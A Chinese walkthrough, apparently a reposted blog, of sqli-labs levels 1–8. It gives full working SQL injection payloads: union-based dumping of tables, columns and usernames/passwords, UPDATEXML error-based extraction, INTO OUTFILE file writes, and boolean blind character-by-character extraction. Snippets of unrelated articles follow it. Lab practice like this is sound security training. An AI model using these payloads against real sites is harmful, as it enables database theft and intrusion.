sqli靶场复现(1-8关)

目录

1.sqli-labs第二关

1.判断是否存在sql注入

1.1你输入数字值的ID作为参数,我们输入?id=1

1.2在数据库可以查看到users下的对应内容

2.联合注入

2.1首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。

2.2得到列数为3列,联合查询判断回显位,这里左边取-1是为了使左边的sql语句查询后为空,显示右边的内容:

2.3查询数据库名:

2.4得到数据库名:security,继续爆表:

2.5将 security 换成users表名,去爆破里面的内容。

2.6通过上述操作可以得到两个敏感字段就是username和password,接下来我们就要得到该字段对应的内容

2.sqli-labs第二关(整数型注入)

3.sqli-labs第三关

1.当我们在输入?id=2'的时候看到页面报错信息。可推断sql语句是单引号字符型且有括号,所以我们需要闭合单引号且也要考虑括号。

2.以下的步骤和less-1较为相似,在 ’ 后面加 ) 即可原理相似,先对数据库进行查询

4.sqli-labs第四关

1.先尝试让它报错查看原因,单引号没用双引号可以

2.对报错信息进行分析,发现代码当中对 id 参数进行了 “” 和 () 的包装。所以我们再用这样的代码来进行注入: ?id=1”) –-+

3.步骤跟上述相似

5.sqli-labs第五关(报错注入)

1.先尝试输入发现输入数字或者注释都没变化,加上单引号后悔出现报错,但是还是没有注入点

2.判断报错报错函数是否可用

3.利用UPDATEXML函数报错注入

4.爆库名 

5.爆表名

6.爆列名

7.爆字段内容

6.sqli-labs第六关(报错注入)

1.输入整数或者单引号看界面显示发现根第五关差不多情况,并且输入?id=1'也没有显示就去查看源码,发现要用双引号​编辑

2.判断报错函数是否可用

3.其余跟第五关差不多,单引号换成双引号即可

7.sqli-labs第七关

1.尝试用单引号发现报错信息,确定要使用")),根据题目显示知道这是个outfile

2.采用outfile的方式进行注入

3.打开数据库文件夹--------找到下目录下的my.ini ---------打开它,

4.在重新输入导出命令

8.sqli-labs第八关(布尔盲注)

1.先输入?id=1c出现You are in,?id=1'发现没有显示,在输入双引号试试发现恢复正常

2.这里发现和第五关有点像,我们试试报错函数是否可以用,发现不可以

3.这里考虑用布尔盲注或者时间盲注试试,

扩展:

4.爆数据库名

4.1判断长度

4.2爆破数据库名 

5.爆表名

5.1判断表的数量

5.2判断第一个表的长度

5.3 判断表的字符

6.爆表的具体字段 

6.1获取字段列数

6.2获取字段列名

7.获取表中的数据

7.1获取条数 

7.2判断数据长度 

7.3判断数据字符

7.4现在可以去数据库获取获取数据

9.sqli-labs第九关

10.sqli-labs第十关


1.sqli-labs

1.判断是否存在sql注入

1.1你输入数字值的ID作为参数,我们输入?id=1

1.2在数据库可以查看到users下的对应内容

2.联合注入

2.1首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。

2.2得到列数为3列,联合查询判断回显位,这里左边取-1是为了使左边的sql语句查询后为空,显示右边的内容:

爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的。%27是英文的单引号释符 --+

2.3查询数据库名:

http://127.0.0.1/sqli/Less-1/?id=-1%27%20union%20select%202,3,database()--+

2.4得到数据库名:security,继续爆表:

爆表,information_schema.tables表示该数据库下的tables表,点表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。也就是下面表格user和passwd。

group_concat 可以将所有的tables 提取出来,information_schema是mysql特有的库,存储各种数据库的信息。

http://127.0.0.1/sqli/Less-1/?id=-1%27%20union%20select%202,3,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27--+

2.5将 security 换成users表名,去爆破里面的内容。

爆字段名,我们通过sql语句查询知道当前数据库有四个表,根据表名知道可能用户的账户和密码是在users表中。接下来我们就是得到该表下的字段名以及内容。

该语句的意思是查询information_schema数据库下的columns表里面且table_users字段内容是users的所有column_name的内。注意table_name字段不是只存在于tables表,也是存在columns表中。表示所有字段对应的表名。

http://127.0.0.1/sqli/Less-1/?id=-1%27%20union%20select%202,3,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27--+

2.6通过上述操作可以得到两个敏感字段就是username和password,接下来我们就要得到该字段对应的内容

2.sqli-labs(整数型注入)

当我们输入单引号或者双引号可以看到报错,且报错信息看不到数字,所有我们可以猜测sql语句应该是数字型注入。

在php文件可以看到是整数型注入

其余步骤和第一关差不多

?id=1' order by 1,2,3,4--+
?id=1' order by 1,2,3--+
?id=-1'union select 1,2,3--+
?id=-1' union select 1,2,database()--+
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1' union select 1,2,group_concat(username,id,password) from users--+

3.sqli-labs第三

1.当我们在输入?id=2'的时候看到页面报错信息。可推断sql语句是单引号字符型且有括号,所以我们需要闭合单引号且也要考虑括号。

 看报错,发现并没有完全闭合,那就加个')'使其闭合,再使用'--+'注释掉后面内容

2.以下的步骤和less-1较为相似,在 ’ 后面加 ) 即可
原理相似,先对数据库进行查询

?id=2')--+
?id=1') order by 3--+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+

4.sqli-labs第四

1.先尝试让它报错查看原因,单引号没用双引号可以

2.对报错信息进行分析,发现代码当中对 id 参数进行了 “” 和 () 的包装。所以我们再用这样的代码来进行注入: ?id=1”) –-+

3.步骤跟上述相似

5.sqli-labs第五(报错注入)

1.先尝试输入发现输入数字或者注释都没变化,加上单引号后悔出现报错,但是还是没有注入点

页面显示数据库的报错信息,确定注入点为单引号字符型

查看源码发现,就考虑使用报错注入

2.判断报错报错函数是否可用

3.利用UPDATEXML函数报错注入

语法:UPDATEXML(XML_document, XPath_string,new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称

第二个参数:XPath_string (Xpath格式的字符串),Xpath语法

第三个参数:new_value,string格式,替换查找到的符合条件的数据

4.爆库名 

?id=1' and updatexml(1,concat(1,database()),1)--+
  1. ?id=1:这部分通常是一个URL参数,原始查询可能类似于SELECT * FROM some_table WHERE id = ?id。攻击者试图通过修改这个参数来注入恶意SQL代码。

  2. ' and:单引号(')用于闭合原始SQL语句中的字符串字面量(如果原始查询是基于字符串比较的),and用于添加额外的条件到WHERE子句中。

  3. updatexml(1,concat(1,database()),1):这是攻击的核心部分。UPDATEXML()函数尝试修改一个XML文档,但在这里它被用于触发一个错误,因为第二个参数(XPath表达式)不是一个有效的XPath表达式。concat(1,database())将数字1和当前数据库的名称连接起来,形成一个字符串,这个字符串随后被用作XPath表达式的一部分。由于这个表达式通常是无效的(因为它以数字开头),UPDATEXML()函数将返回一个错误,并且这个错误消息可能会包含数据库名称。

  4. --+:这是SQL注释的开始。--是SQL中的注释标记,后面跟一个空格(在这个例子中是+后面的空格,但+本身在这里是多余的,可能是为了绕过某些简单的输入过滤),它告诉数据库忽略该行剩余的所有内容。这确保了原始SQL语句的剩余部分(如果有的话)不会被执行,从而避免了语法错误。

得到security库名

5.爆表名

?id=1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security')),1)--+

6.爆列名

?id=1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name ='users')),1)--+

这里我不加上库名就匹配不上因此我加上了库名成功拿到列名

7.爆字段内容

?id=1' and updatexml(1,concat(1,(select username from users limit 1,1),0,(select password from users limit 1,1)),1)--+http://127.0.0.1/sqli/Less-5/?id=1%27%20and%20updatexml(1,concat(1,(select%20username%20from%20users%20limit%202,1),0,(select%20password%20from%20users%20limit%202,1)),1)--+

这里的limit 1,1中第一个1是users、password中记录的顺序,从0开始算,第二个1代表回显一条数据记录

6.sqli-labs第六(报错注入)

1.输入整数或者单引号看界面显示发现根第五关差不多情况,并且输入?id=1'也没有显示就去查看源码,发现要用双引号

2.判断报错函数是否可用

?id=01" and updatexml(1,0x7e,3) -- a

3.其余跟第五关差不多,单引号换成双引号即可

?id=1" and updatexml(1,concat(1,(select username from users limit 1,1),0,(select password from users limit 1,1)),1)--+

7.sqli-labs第七

1.尝试用单引号发现报错信息,确定要使用")),根据题目显示知道这是个outfile

2.采用outfile的方式进行注入

SELECT column1 FROM table_name INTO OUTFILE 'file_path'
OUTFILE命令可以将查询结果导出为文本文件,CSV文件等多种格式。
注意:使用这个功能需要提前开启权限。你可以前往MySQL的源文件目录中,
           打开my.ini配置文件,并修改其中的`secure_file_priv='D://'`
           参数设置为你的安全目录。(请设置为C盘以外的磁盘,避免系统权限问题。)
           修改完成并重启后在MySQL命令行中输入`show variables like '%secure%';`查看是否设置成功。

?id=1')) union select 1,2,group_concat(table_name )from information_schema.tables where table_schema=database()   into outfile 'D:/phpstudy_pro/WWW/sqli/Less-7/1.txt' --+

这里出现了错误,百度后发现是数据库没有导出的权限

注释:

1.secure_file_priv为NULL时,不允许导入或导出。
2.secure_file_priv为/tmp时,只能在/tmp目录中执行导入导出。
3.secure_file_priv没有值时,不限制在任意目录的导入导出。

3.打开数据库文件夹--------找到下目录下的my.ini ---------打开它,

在里面写入下面这句话--------并保存

secure_file_priv=""

重启数据库

然后再打开数据库命令行输入show variables like '%secure%';

4.在重新输入导出命令

?id=1')) union select 1,2,group_concat(table_name )from information_schema.tables where table_schema=database()   into outfile 'D:/phpstudy_pro/WWW/sqli/Less-7/1.txt' --+

这里虽然显示有错误但是已经导出到1.txt中

至此漏洞利用成功

8.sqli-labs第八关(布尔盲注)

1.先输入?id=1c出现You are in,?id=1'发现没有显示,在输入双引号试试发现恢复正常

2.这里发现和第五关有点像,我们试试报错函数是否可以用,发现不可以

3.这里考虑用布尔盲注或者时间盲注试试,

扩展:

布尔盲注一般适用于页面没有回显字段(不支持联合查询),且web页面返回True 或者 false,构造SQL语句,利用and,or等关键字来其后的语句 true 、 false使web页面返回true或者false,从而达到注入的目的来获取信息

盲注分为两类:
1、布尔盲注——》 布尔很明显Ture跟Fales,也就是说它只会根据你的注入信息返回Ture跟Fales,也就没有了之前的报错信息。
2、时间盲注——》 界面返回值只有一种,true 无论输入任何值 返回情况都会按正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确。

需要用到的函数:
Length()函数 返回字符串的长度
Substr()截取字符串
Ascii()返回字符的ascii码
sleep(n):将程序挂起一段时间 n为n秒
if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句

4.爆数据库名

4.1判断长度

?id=1' and length(database())>1 --+

一次从1开始加知道页面无显示就证明位数猜对了 ,这里就是数据库长度就是8位

4.2爆破数据库名 

?id=1' and ascii(substr((database()),1,1)) =115 --+
115时ascii数,115对应是s依次推断

5.爆表名

5.1判断表的数量

?id=1'   and (select count(table_name) from information_schema.tables where table_schema=database())>4  --+ 

无显示证明表的数量有4个表

5.2判断第一个表的长度

?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),6,1))>0--+
?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),5,1))>0--+第4张表,长度5

 爆第一个数据表,通过调整limit x,1的位置来判断数据表数量,ascii(' ' limit 0,1),y,1))判断第1个表的第y位是否有内容,0表示第一个表,最后一个1是固定写法,第二个表示是limit 1,1

显示正常就证明第一个表长度是6,超过6的话就会无显示长度就超过了 

5.3 判断表的字符

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)) =79 --+
?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))=117--+

正常显示就证明字符对应成功,第一个表的一个字符79对应'e',依次尝试emails

以第四个表为例,通过测试是5个元素,假设是users表。测得第一个是u(ascii码 117),依次测试‘s’(115)、‘e’(107)、‘r’(114)、‘s’(115)。

6.爆表的具体字段 

6.1获取字段列数

?id=1'   and  (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)=3 --+?id=1'   and  (select count(column_name) from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1)=2 --+

从1开始尝试列数直到页面显示就证明列数正确,这里是users表的列数为3

6.2获取字段列名

?id=1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' and table_schema = 'security' limit 0,1),1,1))=105 --+

第一列第一个字符为:i=105 

继续第二个:d

?id=1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' and table_schema = 'security' limit 0,1),2,1))=100 --+

依次求第二列:
第一个字符:u 

?id=1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' and table_schema = 'security' limit 1,1),1,1))=117 --+

limit 1,1),1,1)第一个1是第2列(1+1=2),第二个1是第二列的第一个元素,第二个元素表示limit 1,1),2,1)

第一列名:  id

第二列名:username

第三列名:password

7.获取表中的数据

7.1获取条数 

?id=1' and  (select count(*) from users)=13 --+

从1开始依次尝试直到页面正常显示 ,users表里的数据条数为13条

7.2判断数据长度 

//获取id第一条数据的长度
?id=1'   and  length((select id from users limit 0,1))=1 --+
//获取id第十条数据的长度
?id=1'   and  length((select id from users limit 9,1))=2 --+
//获取usersname第一条数据的长度
?id=1'   and  length((select username from users limit 0,1))=4 --+
//获取password第一条数据的长度
?id=1'   and  length((select password from users limit 0,1))=4 --+

7.3判断数据字符

//获取usersname中第一条数据的第一个字符
?id=1'   and ascii(substr((select username from users limit 0,1),1,1))=68 --+
D
//获取usersname中第一条数据的第二个字符
?id=1'   and ascii(substr((select username from users limit 0,1),2,1))=117 --+
u
//获取usersname中第二条数据的第一个字符
?id=1'   and ascii(substr((select username from users limit 1,1),1,1))=65 --+
A
//获取password中第一条数据的第一个字符
?id=1'   and ascii(substr((select password from users limit 0,1),1,1))=68 --+
D

limit 0,1),2,1)表示第一条数据,2表示第一条数据中的第2个字符

可见username中第一个字符为:D
然后就这样依次进行得到username:Dumb,password:Dumb

7.4现在可以去数据库获取获取数据

可见账号1Dumb 密码为Dumb

9.sqli-labs第九

10.sqli-labs第十

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/395496.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

PHP全方位多功能投票小程序系统源码

🌟【全民参与,决策更精彩】全方位多功能投票小程序大揭秘!🎉 🚀 开篇引入:投票新风尚,尽在指尖 Hey小伙伴们,你是否厌倦了传统的投票方式,觉得它们既繁琐又不够灵活&am…

IO进程----标准IO

目录 IO进程 标准IO 1. 概念: 2. 特点: 3. 缓存区 3.1. 行缓存:和终端操作相关 刷新缓存的条件: 1) 程序正常退出 2) \n刷新 3) 缓存区满刷新 4) 强制刷新 fflush 3.2. 全缓存:和文件操作相关 3.…

sqli-labs闯关1-4

第一关: 这里的输入了 ?id1 意思是以GET方式传入id1的参数 就等于SELECT * FROM users WHERE id1 LIMIT 0,1 注意:-- 与-- 空格的区别 在url中输入了--以后,后端数据会变成--空格。在 url中输入 -- 空格 变成 -- 在mysql中&…

使用Go语言实现基于泛型的Jaccard相似度算法

基本原理 跳表: jaccard相似度: jaccard相似度的代码实现: 时间复杂度分析: 快速jaccard算法: 代码实现,这个要求两个集合都是有序的: Jaccard相似度算法的基本实现 算法&#xf…

LeetCode Hot100 排序链表

给你链表的头结点 head ,请将其按 升序 排列并返回 排序后的链表 。 示例 1: 输入:head [4,2,1,3] 输出:[1,2,3,4]示例 2: 输入:head [-1,5,3,4,0] 输出:[-1,0,3,4,5]示例 3: 输…

工程技术人员职称专业一览表,赶紧收藏!有助评职称、落户

现在很多地区为了引进人才,都会对各类获得中级或高级职称的人才提供一系列优惠政策,比如人才补贴、职称入户等等。 下面小编就来为大家介绍一下中级职称专业一览表,告诉你能以考代评的几个考试,需要评职称、落户的快看过来&#…

【秋招突围】2024届秋招-京东笔试题-第二套

🍭 大家好这里是 春秋招笔试突围,一起备战大厂笔试 💻 ACM金牌团队🏅️ | 多次AK大厂笔试 | 编程一对一辅导 ✨ 本系列打算持续跟新 春秋招笔试题 👏 感谢大家的订阅➕ 和 喜欢💗 和 手里的小花花🌸 ✨ 笔试合集传送们 -> 🧷春秋招笔试合集 🍭 本次给大家…

PXE:Kickstart自动化安装Linux系统

PXE:工作在 Client/Server模式,允许客户机通过网络从远程服务器下载引导镜像,并加载安装文件或者整个操作系统。 运行 PXE协议需要设置:DHCP服务器和TFTP服务器。DHCP服务器用来给 PXE client(将要安装系统的主机&…

【C++二分查找 决策包容性】1300. 转变数组后最接近目标值的数组和

本文涉及的基础知识点 C二分查找 决策包容性 LeetCode1300. 转变数组后最接近目标值的数组和 给你一个整数数组 arr 和一个目标值 target ,请你返回一个整数 value ,使得将数组中所有大于 value 的值变成 value 后,数组的和最接近 target …

element plus el-select修改后缀图标

使用 element plus 提供的api 默认为&#xff1a; 修改后为&#xff1a; 方法&#xff1a; <el-select v-model"value" placeholder"Select" size"large" style"width: 120px;":teleported"false" :suffix-icon"…

香港电讯为知名地产商构建安全稳定可靠的企业组网

客户背景 客户公司的总部位于香港&#xff0c;专注于房地产、酒店、基础设施及服务、商场等业务。经过多年沉淀&#xff0c;其内地业务不断壮大&#xff0c;拓展至各个地区并覆盖多个城市&#xff0c;原有的网络架构已无法满足客户的业务扩张需求。 客户需求 解决网络速度和稳…

python-约瑟夫环(赛氪OJ)

[题目描述] n 个人&#xff08; 0,1,2,3,4...n−1 &#xff09;&#xff0c;围成一圈&#xff0c;从编号为 k 的人开始报数&#xff0c;报数报到 m 的人出队。 下次从出队的人之后开始重新报数&#xff0c;循环往复&#xff0c;当队伍中只剩最后一个人的时候&#xff0c;那个人…

C++从入门到起飞之——深浅拷贝string类补充 全方位剖析!

​ &#x1f308;个人主页&#xff1a;秋风起&#xff0c;再归来~&#x1f525;系列专栏&#xff1a;C从入门到起飞 &#x1f516;克心守己&#xff0c;律己则安 目录 1、浅拷贝 2、深拷贝 3、现代版写法的拷贝构造和赋值重载 4、再探swap! 5、写实拷贝&#xff…

面试官:怎样设计一个分布式任务调度平台?

大家好&#xff0c;我是君哥。 在工作中&#xff0c;批量任务调度的需求经常会遇到&#xff0c;比如下面的几个场景&#xff1a; 数据迁移&#xff1a;从数据库 A 批量读取数据&#xff0c;加工后把数据写入数据库 B&#xff1b; 消息通知&#xff1a;运营商批量给客户发送短…

同态加密和SEAL库的介绍(二)BFV 基础方案实现

写在前面&#xff1a; 本篇具体讲解如何使用 BFV 加密方案对加密的整数进行简单的计算&#xff08;一个多项式评估&#xff09;&#xff0c;来源是官方提供的示例。BFV 是比较常见的方案&#xff0c;在很多大模型推理的时候&#xff0c;都是将浮点数的权重和输入变换成…

MongoDB学习笔记(三)

使用Python操作MongoDB: 使用管理员用户&#xff1a;

web基础与http协议与配置

目录 一、web基础 1.1 DNS与域名&#xff08;详解看前面章节&#xff09; 1.2 网页的概念&#xff08;HTTP/HTTPS&#xff09; 1.2.1 基本概念 1.2.2 HTML文档结构(了解) 1.2.3 web相关重点 1.2.4 静态资源和动态资源 二、http协议 2.1 概述 2.2 cookie和session&…

云原生真机实验

基于Proxmox VE构建中小企业云计算平台 首先Proxmox VE是什么&#xff1f;能用来做什么&#xff1f; Proxmox VE是一个完整的企业虚拟化开源平台。借助内置的 Web 界面&#xff0c;可以在单个解决方案上轻松管理 VM(开虚拟机的) 和容器、软件定义的存储和网络、高可用性群集以…

STM32开发之移植FreeRtos

一、新建STM32工程项目 &#xff08;1&#xff09;打开keil新建工程文件夹 &#xff08;2&#xff09;选择芯片型号 接下来会弹出来一个新建工程的小助手&#xff0c;我们关闭就好&#xff0c;接下来我们的工程就创建好了&#xff0c;但是工程还是空的 二、添加STM32的相关固件…

搭建 Web 群集Haproxy

案例概述 Haproxy 是目前比较流行的一种群集调度工具&#xff0c;同类群集调度工具有很多&#xff0c;如 LVS 和Nginx。相比较而言&#xff0c;LVS 性能最好&#xff0c;但是搭建相对复杂;Nginx 的upstream模块支持群集功能&#xff0c;但是对群集节点健康检查功能不强&#xf…